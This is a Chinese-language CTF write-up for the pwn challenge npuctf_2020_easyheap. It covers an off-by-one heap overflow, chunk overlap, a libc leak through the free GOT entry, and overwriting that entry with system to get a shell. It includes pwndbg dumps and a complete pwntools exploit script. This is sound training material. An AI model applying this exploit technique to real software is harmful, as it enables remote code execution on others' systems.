off by one的题,,,
参考视频:off by one + 改got表的heap做法 例题:npuctf_2020_easyheap
程序流程
create:
申请两个chunk: 一个heaparray[i](固定0x10大小),一个是申请的大小(只能申请0x18或0x38)
edit:
read_input(heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);
存在off by one
show:根据idx,打印chunk大小和内容
delete:free后,将chunk指针置零了。
漏洞利用
利用off by one,可以修改下一个chunk头指针的大小。
例如,一开始可以申请两个0x18的块。当修改chunk0,溢出到chunk1的头指针大小为0x41,那么chunk1free后重新申请回来,chunk1的内容会和chunk1头指针重叠,可以修改chunk1的指针。
溢出修改chunk1指针为free_got表,泄露地址,计算system
修改chunk内容从而,修改got表内容为system
在chunk0中放入“/bin/sh\x00”,则free(0)即可=>system(“/bin/sh\x00”)
1.查看保护
Partial RELRO => 可以修改got表
1 2 3 4 5 6 7
| winter@ubuntu:~/buu$ checksec npuctf_2020_easyheap [*] '/home/winter/buu/npuctf_2020_easyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
2.申请两个0x18的块
一共生成了四个chunk,两个heaparray,两个存在内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1560000 Size: 0x251
#chunk0 heaparray Allocated chunk | PREV_INUSE Addr: 0x1560250 Size: 0x21
#chunk0 data Allocated chunk | PREV_INUSE Addr: 0x1560270 Size: 0x21
#chunk1 heaparray Allocated chunk | PREV_INUSE Addr: 0x1560290 Size: 0x21
#chunk1 data Allocated chunk | PREV_INUSE Addr: 0x15602b0 Size: 0x21
Top chunk | PREV_INUSE Addr: 0x15602d0 Size: 0x20d31
|
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> x/30gx 0x1560250 0x1560250: 0x0000000000000000 0x0000000000000021 0x1560260: 0x0000000000000018 0x0000000001560280 0x1560270: 0x0000000000000000 0x0000000000000021 0x1560280: 0x0000000a61616161 0x0000000000000000 0x1560290: 0x0000000000000000 0x0000000000000021 0x15602a0: 0x0000000000000018 0x00000000015602c0 0x15602b0: 0x0000000000000000 0x0000000000000021 0x15602c0: 0x0000000a61616161 0x0000000000000000 0x15602d0: 0x0000000000000000 0x0000000000020d31 0x15602e0: 0x0000000000000000 0x0000000000000000 0x15602f0: 0x0000000000000000 0x0000000000000000
|
3.通过chunk0 off by one
修改chunk0的内容,首先放入接下来用的参数。
然后溢出一个字节,修改chunk1 heaparray的大小为0x41
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1327000 Size: 0x251
Allocated chunk | PREV_INUSE Addr: 0x1327250 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x1327270 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x1327290 Size: 0x41
Top chunk | PREV_INUSE Addr: 0x13272d0 Size: 0x20d31
|
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> x/30gx 0x1327250 0x1327250: 0x0000000000000000 0x0000000000000021 0x1327260: 0x0000000000000018 0x0000000001327280 0x1327270: 0x0000000000000000 0x0000000000000021 0x1327280: 0x0068732f6e69622f 0x0000000000000000 #"/bin/sh\x00" 0x1327290: 0x0000000000000000 0x0000000000000041 #溢出一个字节 0x13272a0: 0x0000000000000018 0x00000000013272c0 0x13272b0: 0x0000000000000000 0x0000000000000021 0x13272c0: 0x0000000a61616161 0x0000000000000000 0x13272d0: 0x0000000000000000 0x0000000000020d31 0x13272e0: 0x0000000000000000 0x0000000000000000 0x13272f0: 0x0000000000000000 0x0000000000000000
|
存放所有的heaparay指针,有两个
1 2 3 4 5 6
| pwndbg> x/30gx 0x6020a0 0x6020a0 <heaparray>: 0x0000000000bf0260 0x0000000000bf02c0 0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000 0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000 0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000 0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000
|
4.释放chunk1
chunk1通过上面的全局变量,找到的地址还是不变,但是大小以及被修改为0x41,会按照0x41的大小被释放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x21d9000 Size: 0x251
Allocated chunk | PREV_INUSE Addr: 0x21d9250 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x21d9270 Size: 0x21
Free chunk (tcache) | PREV_INUSE Addr: 0x21d9290 Size: 0x41 fd: 0x00
Top chunk | PREV_INUSE Addr: 0x21d92d0 Size: 0x20d31
|
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> x/30gx 0x21d9250 0x21d9250: 0x0000000000000000 0x0000000000000021 0x21d9260: 0x0000000000000018 0x00000000021d9280 0x21d9270: 0x0000000000000000 0x0000000000000021 0x21d9280: 0x0068732f6e69622f 0x0000000000000000 0x21d9290: 0x0000000000000000 0x0000000000000041 0x21d92a0: 0x0000000000000000 0x00000000021d9010 #释放 0x21d92b0: 0x0000000000000000 0x0000000000000021 0x21d92c0: 0x0000000000000000 0x00000000021d9010 #释放 0x21d92d0: 0x0000000000000000 0x0000000000020d31 0x21d92e0: 0x0000000000000000 0x0000000000000000 0x21d92f0: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6
| pwndbg> x/30gx 0x6020a0 0x6020a0 <heaparray>: 0x00000000021d9260 0x0000000000000000 #另一个被清零了 0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000 0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000 0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000 0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000
|
5.重新申请0x38的块
再次申请,会把之前释放的0x41和0x21重新申请回来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0xbf0000 Size: 0x251
Allocated chunk | PREV_INUSE Addr: 0xbf0250 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0xbf0270 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0xbf0290 Size: 0x41
#找不到下一个,,,但是在
Top chunk | PREV_INUSE Addr: 0xbf02d0 Size: 0x20d31
|
6.通过0x41的块,溢出覆盖0x21的块
但是由于0x41的chunk与0x21的chunk重叠了,故可以通过0x41的chunk修改0x21的chunk
但是0x21的chunk存放的是chunk1的指针,故可以让chunk1指针指向free got表,达到泄露。
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> x/30gx 0xbf0250 0xbf0250: 0x0000000000000000 0x0000000000000021 0xbf0260: 0x0000000000000018 0x0000000000bf0280 0xbf0270: 0x0000000000000000 0x0000000000000021 0xbf0280: 0x0068732f6e69622f 0x0000000000000000 0xbf0290: 0x0000000000000000 0x0000000000000041 0xbf02a0: 0x6161616161616161 0x6161616161616161 0xbf02b0: 0x6161616161616161 0x6161616161616161 0xbf02c0: 0x0000000000000038 0x0000000000602018#free_got 0xbf02d0: 0x000000000000000a 0x0000000000020d31 0xbf02e0: 0x0000000000000000 0x0000000000000000 0xbf02f0: 0x0000000000000000 0x0000000000000000
|
1 2 3 4
| [DEBUG] Received 0x15d bytes: 00000000 53 69 7a 65 20 3a 20 35 36 0a 43 6f 6e 74 65 6e │Size│ : 5│6·Co│nten│ 00000010 74 20 3a 20 30 ba fd 89 0a 7f 0a 44 6f 6e 65 21 │t : │0···│···D│one!│ #泄露到了free的地址
|
1 2 3
| show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
|
7.修改free_got表为system地址
此时chunk1的指针指向free_got,故修改chunk1的内容,就可以修改free_got表内容,修改为system地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0xbb9000 Size: 0x251
Allocated chunk | PREV_INUSE Addr: 0xbb9250 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0xbb9270 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0xbb9290 Size: 0x41
Top chunk | PREV_INUSE Addr: 0xbb92d0 Size: 0x20d31
|
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> x/30gx 0xbb9250 0xbb9250: 0x0000000000000000 0x0000000000000021 0xbb9260: 0x0000000000000018 0x0000000000bb9280 0xbb9270: 0x0000000000000000 0x0000000000000021 0xbb9280: 0x0068732f6e69622f 0x0000000000000000 0xbb9290: 0x0000000000000000 0x0000000000000041 0xbb92a0: 0x6161616161616161 0x6161616161616161 0xbb92b0: 0x6161616161616161 0x6161616161616161 0xbb92c0: 0x0000000000000038 0x0000000000602018#chunk1指针->free_got->system 0xbb92d0: 0x000000000000000a 0x0000000000020d31 0xbb92e0: 0x0000000000000000 0x0000000000000000 0xbb92f0: 0x0000000000000000 0x0000000000000000
|
1 2
| pwndbg> x/30gx 0x0000000000602018 0x602018: 0x00007fcb5dae9550 0x000000000040060a
|
1 2
| pwndbg> x/30gx 0x00007fcb5dae9550 0x7fcb5dae9550 <__libc_system>: 0xfa66e90b74ff8548 0x0000441f0f66ffff
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import *
p = remote("node3.buuoj.cn",29535) context.log_level = 'debug'
elf = ELF("./npuctf_2020_easyheap")
libc = ELF("./libc-2.27.so") atoi_got = elf.got['atoi'] free_got = elf.got['free']
def cmd(choice): p.recvuntil("Your choice :") p.sendline(str(choice))
def create(size,content): cmd(1) p.recvuntil("only) :") p.sendline(str(size)) p.recvuntil("Content:") p.sendline(content)
def edit(idx,content): cmd(2) p.recvuntil("Index :") p.sendline(str(idx)) p.recvuntil("Content:") p.sendline(content)
def show(idx): cmd(3) p.recvuntil("Index :") p.sendline(str(idx))
def delete(idx): cmd(4) p.recvuntil("Index :") p.sendline(str(idx))
create(0x18,"aaaa") create(0x18,"aaaa")
payload = '/bin/sh\x00' payload += p64(0) * 2 payload += p64(0x41) edit(0,payload)
delete(1) payload = 'a' * 0x20 + p64(0x38) + p64(free_got) create(0x38,payload) show(1) free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(free_addr)) libc_base = free_addr - libc.sym['free'] system = libc_base + libc.sym['system'] log.success(hex(libc_base)) log.success(hex(system))
edit(1,p64(system))
delete(0) p.interactive()
|
题型
特点:
- 可以修改got表
- malloc两次:一个node,一个content
方法:
- 利用node和本体互换 => 泄露libc
- 修改free_got=>system
off by one题挺多,多练习,this is the first。